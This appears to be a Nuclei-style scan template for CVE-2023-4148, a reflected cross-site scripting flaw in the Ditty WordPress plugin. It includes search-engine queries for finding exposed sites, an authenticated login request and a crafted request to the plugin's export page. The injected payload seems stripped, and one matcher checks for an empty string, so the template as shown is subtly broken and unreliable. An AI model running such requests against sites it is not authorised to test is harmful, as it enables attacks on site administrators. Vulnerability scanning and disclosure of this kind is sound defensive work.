id: CVE-2023-4148 info: name: Ditty < 3.1.25 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | The Ditty WordPress plugin before 3.1.25 does not sanitise and escape some parameters and generated URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin. remediation: Fixed in version 3.1.25 reference: - https://wpscan.com/vulnerability/aa39de78-55b3-4237-84db-6fdf6820c58d - https://nvd.nist.gov/vuln/detail/CVE-2023-4148 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-4148 cwe-id: CWE-79 epss-score: 0.00071 epss-percentile: 0.30433 cpe: cpe:2.3:a:metaphorcreations:ditty:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: metaphorcreations product: ditty framework: wordpress shodan-query: http.html:/wp-content/plugins/ditty-news-ticker/ fofa-query: body=/wp-content/plugins/ditty-news-ticker/ publicwww-query: /wp-content/plugins/ditty-news-ticker/ tags: cve2023,cve,ditty-news-ticker,wordpress,wp-plugin,wpscan,wp,authenticated,metaphorcreations http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/edit.php?post_type=ditty&page=ditty_export&tab=export_ditty&"> HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(body_2, "") && contains(body_2, "ditty")' - 'contains(content_type_2, "text/html")' condition: and # digest: 4b0a00483046022100c515dc77b4cc4aa9f91298fc8d13c42df8117c4f8d63c6e62d3002ca0576a6e80221009dcdddaf6f1074a6cc16ea30e388f2677769dd9d6b38cc02694849c16a146974:922c64590222798bb761d5b6d8e72950